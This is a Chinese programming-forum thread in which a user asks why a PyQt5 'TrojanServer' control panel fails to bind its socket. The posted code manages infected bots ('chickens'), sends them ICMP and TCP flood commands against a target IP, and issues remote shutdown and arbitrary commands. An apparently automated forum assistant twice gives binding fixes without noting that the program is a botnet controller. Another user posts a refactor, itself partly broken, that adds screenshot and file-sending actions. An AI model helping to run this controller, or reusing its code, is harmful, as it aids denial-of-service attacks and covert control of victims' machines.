python小小白哟 发表于 2025-1-27 17:29:36

OSError: [WinError 10049] 在其上下文中,该请求的地址无效。

在github上下了一个开源项目,打算研究一下,但是出现了标题一样的错误,求各位大神们如何消除BUG,代码如下:

import builtins
import sys

from PyQt5.QtCore import pyqtSignal, QObject, Qt
from PyQt5.QtGui import QCursor
from PyQt5.QtWidgets import QMenu, QWidget, QApplication, QListWidgetItem, QAction, QCheckBox, QLabel

from control_panel import DetailMain

STDprint = builtins.print

from ServerUI import Ui_Server
from server import TrojanServer, Chienken


class Conmunication(QObject):
    chickenUpSignal = pyqtSignal(Chienken)
    selectChangeSignal = pyqtSignal(str)
    listFreshSignal = pyqtSignal(int, Chienken)
    refreshSignal = pyqtSignal()

class ServerMain(QWidget, Ui_Server):
    def __init__(self):
      super().__init__()
      self.setupUi(self)
      builtins.print = self.displayLog
      self.trojanServer = TrojanServer()
      self.signals = Conmunication()
      self.trojanServer.signals = self.signals
      self.signals.chickenUpSignal.connect(self.addToCurrentList)
      self.freshCurrentList()
      self.ipInput.setText(self.trojanServer.bind_IP)
      self.usp.setText(str(self.trojanServer.udpPort))
      self.urp.setText(str(self.trojanServer.udpRecvPort))
      self.tp.setText(str(self.trojanServer.tcpPort))
      self.bind()
      print("Welcome!")


    def bind(self):
      self.cmdEdit.returnPressed.connect(self.sendCmd)
      self.signals.selectChangeSignal.connect(self.changeSelected)
      self.freshlist.clicked.connect(self.freshCurrentList)
      self.scanAll.clicked.connect(self.trojanServer.scanAll)
      self.signals.listFreshSignal.connect(self.freshItem)
      self.saveButton.clicked.connect(self.save)
      self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
      self.chickenlist.customContextMenuRequested.connect(self.myListWidgetContext)
      self.all_button.clicked.connect(self.checkall)
      self.reverse_button.clicked.connect(self.reverseCheck)
      self.icmpButton.clicked.connect(self.icmp)
      self.signals.refreshSignal.connect(self.freshlist.clicked.emit)
      self.deletebutton.clicked.connect(self.deleteSelected)
      self.shutdownButton.clicked.connect(self.shutChicken)
      self.stopbutton.clicked.connect(lambda :self.opeate("floodStop"))
      self.tcpfloodbutton.clicked.connect(self.tcpFlood)

    def deleteSelected(self):
      selected = self.getSelect()
      for i in reversed(selected):
            self.trojanServer.cmdQ.put("delete %d"%i)
      # for c in selected:
      #   self.trojanServer.cmdQ.put("msg " + str(c) + " %s" % type)

    def icmp(self):
      self.opeate("icmpFlood %s" % self.attack_ip.text())

    def tcpFlood(self):
      self.opeate("tcpFlood %s %s" % (self.attack_ip.text(), self.attack_port.text()))

    def shutChicken(self):
      self.opeate(r"shutdown \s")

    def opeate(self, type):
      selected = self.getSelect()
      for c in selected:
            self.trojanServer.cmdQ.put("msg "+str(c)+" %s" % type)

    def freshItem(self, index, chicken):
      check:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(index))
      check.setText("[%d][%s] %s\tip:%s\tport:%d "%(index,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))

    def myListWidgetContext(self, point):
      item = self.chickenlist.itemAt(point)
      if not item:
            return
      checkbox:QCheckBox = self.chickenlist.itemWidget(item)
      row = int(checkbox.text().split(']'))
      popMenu = QMenu()

      a1 = QAction(u'连接', self)
      a2 = QAction(u'删除', self)

      popMenu.addAction(a1)
      popMenu.addAction(a2)

      a1.triggered.connect(lambda :self.openDetail(row))
      a2.triggered.connect(lambda :self.trojanServer.cmdQ.put("delete %d"%row))

      popMenu.exec_(QCursor.pos())

    def openDetail(self, row):
      print("control %d" %row)
      detail = DetailMain(self.trojanServer, row)
      detail.show()
      detail.connect_button.clicked.emit()

    def save(self):
      self.trojanServer.cmdQ.put("save")

    def sendCmd(self):
      cmd = self.cmdEdit.text()
      self.cmdEdit.clear()
      if cmd == "cls" or cmd == 'clear':
            self.logbrow.clear()
            return
      self.trojanServer.cmdQ.put(cmd)

    def changeSelected(self, name):
      # self.selectedLabel.setText(name)
      pass

    def displayLog(self, content, end='\n'):
      self.logbrow.append(str(content))
      self.logbrow.moveCursor(self.logbrow.textCursor().End)

    def freshCurrentList(self):
      i:int = 0
      online = self.online_check.isChecked()
      offline = self.offline_check.isChecked()
      self.chickenlist.clear()
      for chicken in self.trojanServer.allChickens:
            if (chicken.online and online) or (not chicken.online and offline):
                box = QCheckBox("[%d][%s] %s\tip:%s\tport:%d "%(i,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))
                item = QListWidgetItem()
                self.chickenlist.addItem(item)
                self.chickenlist.setItemWidget(item, box)
                box.clicked.connect(self.chickenChecked)
            i += 1

    def chickenChecked(self):
      sender = self.sender()
      print("check "+sender.text().split(']'))


    def addToCurrentList(self, chicken:Chienken):
      self.freshCurrentList()

    def getSelect(self):
      count = self.chickenlist.count()
      res = []
      for i in range(0, count):
            box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
            if box.isChecked():
                res.append(i)
      return res

    def checkall(self):
      count = self.chickenlist.count()
      for i in range(0, count):
            box:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
            box.setChecked(True)


    def reverseCheck(self):
      count = self.chickenlist.count()
      for i in range(0, count):
            box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
            box.setChecked(not box.isChecked())

    def clearCheck(self):
      count = self.chickenlist.count()
      for i in range(0, count):
            box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
            box.setChecked(False)

    def closeEvent(self, event):
      self.save()




if __name__ == '__main__':
    app = QApplication(sys.argv)
    MainWin = ServerMain()
    MainWin.show()
    sys.exit(app.exec_())


FishC 发表于 2025-1-27 17:29:43

你遇到的错误 `OSError: 在其上下文中,该请求的地址无效` 通常是由于绑定到一个无效的IP地址或端口引起的。可能原因如下:

1. 选择的IP地址不在当前系统的网络接口中,或者这个IP地址无法绑定。
2. 选择的端口已经被占用,或者处于保留状态。

代码中的几个关键变量值可能导致问题:
self.ipInput.setText(self.trojanServer.bind_IP)
self.usp.setText(str(self.trojanServer.udpPort))
self.urp.setText(str(self.trojanServer.udpRecvPort))
self.tp.setText(str(self.trojanServer.tcpPort))

为了排查和解决这个问题,可以尝试以下步骤:


[*]确保绑定的IP地址 (self.trojanServer.bind_IP) 是有效的,例如 "0.0.0.0" 或者 "127.0.0.1"。
[*]确保端口号 (self.trojanServer.udpPort、self.trojanServer.udpRecvPort、self.trojanServer.tcpPort) 没有被其他程序占用,且不在保留端口(如 0-1024)范围内。
[*]检查网络配置是否正确,比如是否开启了防火墙阻止相关端口通信。


另外,你的代码中存在一些语法错误和格式问题。例如,在方法 getSelect 中似乎忘记初始化 res:
def getSelect(self):
    count = self.chickenlist.count()
    res = []# 初始化 res 为一个空列表
    for i in range(0, count):
      box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
      if box.isChecked():
            res.append(i)
    return res

通过以上方式检查和修改你的代码,希望可以解决 `OSError` 的问题。如果你需要进一步的帮助,可以提供更多错误细节和上下文信息。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。

python小小白哟 发表于 2025-1-27 17:30:45

FishC 发表于 2025-1-27 17:29
你遇到的错误 `OSError: 在其上下文中,该请求的地址无效` 通常是由于绑定到一个无效的IP地址或端口引起的 ...

    self.tcpSocket.bind((self.bind_IP, self.tcpPort))
OSError: 在其上下文中,该请求的地址无效。

出现了以上的错误报告。

FishC 发表于 2025-1-27 17:30:58

python小小白哟 发表于 2025-01-27 17:30
FishC 发表于 2025-1-27 17:29
你遇到的错误 `OSErro ...

根据错误报告 `OSError: 在其上下文中,该请求的地址无效。`,这是由于试图绑定到一个无效的 IP 地址或端口。请确保 `self.bind_IP` 和 `self.tcpPort` 的取值是正确的并且可以使用。

以下是一些可能的解决方案:

1. **确保 IP 地址是有效的**:确认 `self.bind_IP` 是你机器的一个有效 IP 地址,或者尝试使用 `0.0.0.0`(绑定到所有可用接口)或 `127.0.0.1`(仅绑定到本地接口)。

2. **检查端口是否被占用或者保留**:确认 `self.tcpPort` 不是系统保留的端口(通常保留端口是 0-1024),并且没有被其他程序占用。

3. **示例代码**:以下示例展示了如何修改你的 `bind` 方法来确保 IP 地址和端口号有效且可用:

def bind(self):
    valid_ip = "127.0.0.1"# 或者 "0.0.0.0"
    valid_port = 12345       # 确保这个端口没有被占用
   
    self.cmdEdit.returnPressed.connect(self.sendCmd)
    self.signals.selectChangeSignal.connect(self.changeSelected)
    self.freshlist.clicked.connect(self.freshCurrentList)
    self.scanAll.clicked.connect(self.trojanServer.scanAll)
    self.signals.listFreshSignal.connect(self.freshItem)
    self.saveButton.clicked.connect(self.save)
    self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
    self.chickenlist.customContextMenuRequested.connect(self.myListWidgetContext)
    self.all_button.clicked.connect(self.checkall)
    self.reverse_button.clicked.connect(self.reverseCheck)
    self.icmpButton.clicked.connect(self.icmp)
    self.signals.refreshSignal.connect(self.freshlist.clicked.emit)
    self.deletebutton.clicked.connect(self.deleteSelected)
    self.shutdownButton.clicked.connect(self.shutChicken)
    self.stopbutton.clicked.connect(lambda: self.opeate("floodStop"))
    self.tcpfloodbutton.clicked.connect(self.tcpFlood)

    try:
      self.trojanServer.bind_IP = valid_ip
      self.trojanServer.tcpPort = valid_port

      self.tcpSocket.bind((self.trojanServer.bind_IP, self.trojanServer.tcpPort))
      print(f"Binding to {valid_ip}:{valid_port} succeeded!")
    except OSError as e:
      print(f"Binding to {valid_ip}:{valid_port} failed: {e}")
      raise

确保替换你的 `bind` 方法中的相关部分,将 `valid_ip` 和 `valid_port` 改为适合你的实际环境的值。如果有必要,添加调试信息以帮助确定绑定失败的确切原因。

如果你还有其他问题,欢迎继续提问!

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。

三体人的智子 发表于 2025-1-28 15:16:31

import builtins
import sys
from PyQt5.QtCore import pyqtSignal, QObject, Qt
from PyQt5.QtGui import QCursor
from PyQt5.QtWidgets import (QMenu, QWidget, QApplication, QListWidgetItem,
                           QAction, QCheckBox, QLabel)
from control_panel import DetailMain

STDprint = builtins.print
from ServerUI import Ui_Server
from server import TrojanServer, Chicken# 修正类名拼写

class Communication(QObject):# 修正拼写
    chicken_up_signal = pyqtSignal(Chicken)
    select_change_signal = pyqtSignal(str)
    list_fresh_signal = pyqtSignal(int, Chicken)
    refresh_signal = pyqtSignal()

class ServerMain(QWidget, Ui_Server):
    def __init__(self):
      super().__init__()
      self.setupUi(self)
      builtins.print = self.display_log
      
      # 服务器核心组件
      self.trojan_server = TrojanServer()
      self.signals = Communication()
      self.trojan_server.signals = self.signals
      
      # 信号连接
      self.signals.chicken_up_signal.connect(self.add_to_current_list)
      self.signals.select_change_signal.connect(self.change_selected)
      self.signals.list_fresh_signal.connect(self.fresh_item)
      self.signals.refresh_signal.connect(self.fresh_list)
      
      # 初始化UI
      self._init_ui()
      self._bind_events()
      print("Server Initialized!")

    def _init_ui(self):
      """初始化界面配置"""
      self.ipInput.setText(self.trojan_server.bind_IP)
      self.usp.setText(str(self.trojan_server.udpPort))
      self.urp.setText(str(self.trojan_server.udpRecvPort))
      self.tp.setText(str(self.trojan_server.tcpPort))
      self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)

    def _bind_events(self):
      """绑定事件处理"""
      self.cmdEdit.returnPressed.connect(self.send_cmd)
      self.freshlist.clicked.connect(self.fresh_current_list)
      self.scanAll.clicked.connect(self.trojan_server.scan_all)
      self.saveButton.clicked.connect(self.save_config)
      self.chickenlist.customContextMenuRequested.connect(self.show_context_menu)
      self.all_button.clicked.connect(self.check_all)
      self.reverse_button.clicked.connect(self.reverse_check)
      self.icmpButton.clicked.connect(self.start_icmp_scan)
      self.deletebutton.clicked.connect(self.delete_selected)

    #region 核心功能实现
    def display_log(self, *args, **kwargs):
      """重定向print到日志窗口"""
      original_print(*args, **kwargs)
      message = ' '.join(map(str, args))
      self.logOutput.appendPlainText(message)
      self.logOutput.verticalScrollBar().setValue(
            self.logOutput.verticalScrollBar().maximum()
      )

    def send_cmd(self):
      """发送命令到选中客户端"""
      if cmd := self.cmdEdit.text().strip():
            selected = self.get_selected_clients()
            if not selected:
                print("Error: No client selected!")
                return
               
            for client in selected:
                # 这里需要实现具体命令发送逻辑
                print(f"Sending command to {client.id}: {cmd}")
            self.cmdEdit.clear()

    def fresh_current_list(self):
      """刷新客户端列表"""
      self.chickenlist.clear()
      for idx, client in enumerate(self.trojan_server.clients):
            self.add_client_item(idx, client)

    def add_to_current_list(self, client: Chicken):
      """添加新客户端到列表"""
      self.add_client_item(self.chickenlist.count(), client)
      print(f"New client connected: {client.id}")

    def add_client_item(self, index: int, client: Chicken):
      """创建带复选框的列表项"""
      item = QListWidgetItem()
      widget = QWidget()
      layout = QHBoxLayout(widget)
      
      checkbox = QCheckBox()
      label = QLabel(f"{client.id} ({client.ip})")
      
      layout.addWidget(checkbox)
      layout.addWidget(label)
      layout.setContentsMargins(2, 2, 2, 2)
      
      widget.checkbox = checkbox# 保存复选框引用
      widget.client = client      # 绑定客户端对象
      
      self.chickenlist.addItem(item)
      self.chickenlist.setItemWidget(item, widget)
    #endregion

    #region 上下文菜单相关
    def show_context_menu(self, pos):
      """显示右键菜单"""
      menu = QMenu()
      actions = [
            ("详情", self.show_detail),
            ("发送文件", self.send_file),
            ("截屏", self.capture_screen)
      ]
      
      for text, handler in actions:
            action = QAction(text, self)
            action.triggered.connect(handler)
            menu.addAction(action)
            
      menu.exec_(QCursor.pos())

    def show_detail(self):
      """显示客户端详情"""
      if selected := self.chickenlist.currentItem():
            client = self.chickenlist.itemWidget(selected).client
            self.detailPanel = DetailMain(client)
            self.detailPanel.show()
    #endregion

    #region 配置管理
    def save_config(self):
      """保存服务器配置"""
      try:
            self.trojan_server.bind_IP = self.ipInput.text()
            self.trojan_server.udpPort = int(self.usp.text())
            self.trojan_server.udpRecvPort = int(self.urp.text())
            self.trojan_server.tcpPort = int(self.tp.text())
            print("配置已保存")
      except ValueError as e:
            print(f"保存失败: {str(e)}")
    #endregion

if __name__ == "__main__":
    app = QApplication(sys.argv)
    window = ServerMain()
    window.show()
    sys.exit(app.exec_())
```
页: [1]
查看完整版本: OSError: [WinError 10049] 在其上下文中,该请求的地址无效。